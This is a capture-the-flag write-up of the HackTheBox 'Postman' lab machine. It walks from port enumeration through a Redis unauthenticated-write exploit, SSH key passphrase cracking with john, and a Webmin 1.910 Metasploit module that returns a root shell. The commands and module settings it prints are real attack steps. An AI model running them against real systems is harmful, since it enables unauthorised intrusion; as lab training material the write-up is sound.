HackTheBox: Postman
This is an easy rated box so we won’t be going into crazy exploits here.
Host Enumeration
Naturally, we start with an Nmap scan. We see a couple of ports open:
- 22: OpenSSH 7.6p1 Ubuntu
- 80: Apache httpd 2.4.29
- 6379: Redis key-value store
- 10000: MiniServ 1.910 (Webmin httpd)
Enumerating HTTP
The HTTP homepage has nothing too useful, it looks like a website that is under construction. The robots.txt page gave a 404, so I decided to move on and look at the other ports next.
Enumerating Redis
I’ve never seen the Redis port before, I have a suspicion that this could be the route forwards.
We know from our nmap scan that the redis service installed is version 4.0.9. Using searchsploit we can find a 4.X – 5.X unauthenticated remote code execution exploit. It seems to be a metasploit module (source), however I was not able to get this exploit to work successfully. So I turned to Google to find other exploit scripts. A GitHub repository has a python script which can be used to automatically exploit redis. However, first we must enumerate redis some more. In the code above we potentially see some information about the redis user, more specifically their username.
$ redis-cli -h 10.10.10.169 config get dir
1) "dir"
2) "/var/lib/redis"
We can use the GitHub python script to launch the exploit, which places our id_rsa SSH public key on the target, allowing us to get a successful login as redis user. Interestingly, when running this exploit returned an error ERR Changing directory: Permission denied. The exploit seems to have worked regardless, which is a little strange. Note that I have since destroyed the keys used for during this exploit.
$ python redis.py 10.10.10.160 redis
However, at this stage we do not yet have the user.txt flag. So we have some enumeration to do. To start off, I like to use the LinEnum.sh automated tool which performs mass host enumeration and gives information on potential misconfigurations.
After running the LinEnum.sh tool, we notice that there is an id_rsa backup file!
In the image we can see by the permissions that the id_rsa.bak file belongs to the Matt user on this host. We’ll download the id_rsa.bak file to our localhost for some investigation
Getting Matt Shell
The first thing that I try is to login to SSH as matt user using the id_rsa.bak as an identity file. However, I quickly find out that the file requires a passphrase; the key is encrypted! Using ssh2john.py, I can prepare the key to brute-force the passphrase locally using john the ripper. And it works! We identify that secret is computer2008.
$ python ssh2john.py id_rsa.bak > id_rsa_john
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_john
computer2008 (id_rsa.bak)
Strangely enough, I could not login using the SSH key and the computer2008 passphrase, however using the redis shell, I could pivot from redis to Matt using su matt and the cracked (computer2008) password. I presume that the relative public key has been removed from authorized_keys, and we cannot login using the private key.
Getting the Root
Ok so the next stage is a bit weird. Usually I like to enumerate with what I have in the user shell, however during the host enumeration phase we noticed Webmin (version 1.910) service hosted on port 10000. I have exploited Webmin before – albeit an earlier version – so I thought that perhaps this version also had vulnerabilities.
I decided to take a step back from my Matt shell and try to use the obtained credentials to exploit webmin. Using searchsploit, we see that there is a Metasploit module for Webmin 1.910 (source). First we must confirm that the obtained credentials (Matt:computer2008) authenticate us to Webmin. And they do!
We use the metasploit module exploit/linux/http/webmin_packageup_rce to exploit the vulnerability. We have to configure the options as set below. Setting SSL to TRUE is important; after all the Webmin application is running over SSL. This option is quickly forgotten though, so it is worth mentioning here.
show options
set username Matt
set password computer2008
set ssl true
set rhosts 10.10.10.160
set lhost 10.10.14.9
runand we get a root shell!
